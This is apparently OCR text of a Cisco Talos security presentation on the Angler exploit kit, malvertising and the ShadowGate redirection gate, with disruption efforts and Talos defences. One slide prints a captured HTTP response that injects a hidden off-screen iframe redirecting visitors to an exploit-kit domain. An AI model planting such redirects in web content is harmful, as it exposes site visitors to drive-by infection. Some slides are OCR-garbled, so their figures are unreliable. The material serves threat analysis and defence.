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Today's Plan

* Threat Landscape
* Angler Exploit Kit
e Sophistication
* Money
* Constant Evolution
 Malvertising
 World Wide Impact
* Talos Threat Intelligence



THREAT LANDSCAPE

CVE

(Common Vulnerabilities
and Exposures):

Publicly known
information security
vulnerabilities
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A Low Hanging Fruit on Decline

* Network Accessible
* Low Complexity
* No Authentication
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Another Attack Vector - Users
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Data is the New Target




Angler Exploit Kit
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What is an exploit kit?

* A software package designed to exploit vulnerable
browsers and plugins

* Blackhole was the first major exploit kit

Site contains malicious ad. User
redirected to malicious subdomain
(i.e. hal jeweltemptations.com)
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System is compromised

[ 1 & £

User browses to somenewsite.com

Initial URL redirects to rapidly
changing landing page and exploits



Angler Effectiveness
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@ User Activity
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IP Address / ASN Relationship

Provider

AS-CHOOPA - Choopa, LLC,.. |
BALTICSERVERS1-AS UAB ..
CONTABD Contabo GmbH,..
DIGITALOCEAN-AS-AP Digit..

ENET-2 - eNET Inc.,US i

HETZMER-AS Hetzner Onlin..
HOSTING365-A% Sungard A..
ISPSYSTEM-AS JSC _ISPsy..
LEASEWEB-NL LaasaWeb B..
LIMESTONENETWORKS - Li..
METWORK-LEAPSWITCH-N..
OVH OVH SAS FR
SINARD-AS Sinarchost LTD,..
UA-DZINVESTUKRAINE-AS ..
WESTHOST - WestHost, Inc...
WIBO-AS WIBO Internationa..
WOW - Wowrack.com,US

Angler HTTP Requests by Provider July 2015



Shutting Down the Source

Cisco shuts down $30 million ransomware
operation
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Partnered with Limestone Networks

Angler Infrastructure

Level-3

Magnitude and Scale

Collaborated with OpenDNS

Visibility into DNS Infrastructure

Ker-Ching: One Group of Hackers
Was Apparently Making $30
Million a Year
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Angler Architecture Exposed
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Angler Victims

T AalLosS
targeted victims per day observed served exploits in
d single day
of users being served of Angler infections
exploits were compromised delivered Ransomware
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Potential Revenue

% OF RANSOMS PAID PER DAY

|

TOTAL RANSOMS PAID PER DAY

AVERAGE RANSOM

i

TOTAL RANSOM COLLECTED FER SERVER

PER DAY
EE E TOTAL # OF REDIRECTION SERVERS
GROSS INCOME FOR RANSOMWARE
%851 1 2,854,593.00 55.1186.1
DLy MONTHLY YEARLY

To play with the numbers, please visit:
http://talosintel.com/angler-exposed/




Malvertising?




ONLINE ADVERTISING

A A big, fat, opportunity

* Ad Injection
Rewrite web pages with extra ads

« PUAs
Adware downloads

* Clickfraud
Hidden frames, with random clicking that
generate hits.

* Malvertising
A favorite of kits such as Angler; use the
ad platform to direct browsers to a

compromised server.




A major news site

26 Domains
39 Hosts

171 Objects
557 Connections




Malvertising

User 1

TaLos

Some.Video.Site.com



Shadow(Gate



\What is a Gate?

* |nitial Redirection Point for EK
e Usually found in:
e Compromised Website
* Malicious Ads
* Allows for quick Exploit Kit pivoting

GET /poison/performs/dropdown.js HTTF/1.1

Accept: text/html, application/xhtml+xml, */%
R

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 18.@; Windows NT 6.1; WiWG4; Trident/G.@8)
Accept-Encoding: gzip, deflate

Host: praised.hillarynixonclinton.net

DNT: 1

Connection: Keep-Alive

HTTP/1.1 2088 0K

Server: nginx

Date: Fri, 12 Aug 2016 20:29:14 GMT
Content-Type: text/html; charset=utf-8
Connection: Keep-alive

X-Powered-By: PHP/5.3.3
Content-Length: 167

<iframe style="position:absolute;left:-3613px;top:-3633px;width:312px;height:357px;" src="http://
filmithdetkitemzzz.southendpetcare.co.uk/drawer/Y3hrZ3Bucmd" ></if rame=




What is ShadowGate?

* Discovered by Talos and announced at Hack In
The Box in early 2016.

* Large scale malvertising based EK gate.

e Traces back to early 2015, but they continue to
have long periods of inactivity — vacation, right?
@)

* ShadowGate was responsible for a major global
campaign affecting sites around the world

i, ge—
8 [§ §

_
™ 4



- S F Ll Det"ﬁé’lﬁls e N
EHTEE b P R T
i C II o = u*‘JE{:.;: | Ml
g ) . Large (ﬂ‘ (—:{rtising 2 : _}f ““““““
- )\&\ o« US/Canada/Middle E&S 7ASINE Lyewﬂ,_'ealand
HI LgePein ,e-ﬁlﬂ‘l% Neutrin eﬂ_ﬁﬁ'ﬁf Kit > ké_“ T
LT Delilered various payloadsdn ding|Ransomware

Acti "'r‘i\iaken
«’Shadowed Domains Registe¢éd th

i

}ﬁm\ﬂ@ked with GoDaddy to get'dd

¥

d

.
O




Key Takeaways

Cooperation GoDaddy was VITAL!
Exploit Kit gate disrupted for the moment
Helped limit global Neutrino infections
Shows global reach of exploit kits
* Most continents impacted
* English, Chinese, Arabic pages found
hosting malicious ads

Online Advertising is going to be a challenge

Balance between revenue and risk for web sites




TALOS INTEL BREAKDOWN

THREAT INTEL

1.5 MILLION 600 BILLION
Daily Malware BET\AS G EN
Samples Messages
Internet-Wide ‘ 16.B"'LION
Scanning Balgeh
Requests
20 BILLION

Product

Threats Blocked
Telemetry l Honeypots

Open Source
Communities

Vulnerability
Discovery (Internal)

INTEL SHARING

Service Provider
Coordination
Program

Customer Data
Sharing
Programs

500+

AL Participants gopj:]ce
Sharing Intel
Partnerships Sharin
(ISACs) &

e

3" Party Programs
(MAPP)

222

250+
Full Time Threat
Intel Researchers

X!

MILLIONS
Of Telemetry
Agents

Global Data
Centers

A
2
100+

Threat Intelligence
Partners

“«“»
1100+
Threat Traps



MULTI-TIERED DEFENSE

Cloud to Core Coverage
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VIRTUAL

\WEB: Reputation, URL Filtering, AVC

END POINT: Software — ClamAV, Razorback, Moflow

CLOUD: FireAMP & ClamAV detection content

EMAIL: Reputation, AntiSpam, Outbreak Filters

NETWORK: Snort Subscription Rule Set, VDB -
FireSIGHT Updates & Content, SEU/SRU Product
Detection & Prevention Content

Global Threat Intelligence Updates
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